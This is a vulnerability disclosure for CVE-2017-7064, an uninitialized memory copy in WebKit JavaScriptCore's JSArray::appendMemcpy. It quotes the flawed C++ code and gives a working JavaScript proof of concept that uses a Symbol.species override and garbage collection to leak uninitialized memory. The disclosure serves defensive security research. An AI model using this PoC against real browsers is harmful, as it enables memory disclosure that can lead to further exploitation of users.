WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy
CVE-2017-7064
WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy
Here's a snippet of JSArray::appendMemcpy.
bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
{
auto scope = DECLARE_THROW_SCOPE(vm);
if (!canFastCopy(vm, otherArray))
return false;
IndexingType type = indexingType();
IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());
if (type == ArrayWithUndecided && copyType != NonArray) {
if (copyType == ArrayWithInt32)
convertUndecidedToInt32(vm);
else if (copyType == ArrayWithDouble)
convertUndecidedToDouble(vm);
else if (copyType == ArrayWithContiguous)
convertUndecidedToContiguous(vm);
else {
ASSERT(copyType == ArrayWithUndecided);
return true;
}
} else if (type != copyType)
return false;
...
if (type == ArrayWithDouble)
memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
else
memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);
return true;
}
The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.
So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.
PoC:
function optNewArrayAndConcat() {
let a = [,,,,,,,,,];
return Array.prototype.concat.apply(a);
}
function main() {
Array.prototype.constructor = {
[Symbol.species]: function () {
return [{}];
}
};
gc();
for (let i = 0; i < 0x10000; i++) {
optNewArrayAndConcat().fill({});
}
gc();
for (let i = 0; i < 0x20000; i++) {
let res = optNewArrayAndConcat();
if (res[0])
print(res.toString());
}
}
main();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
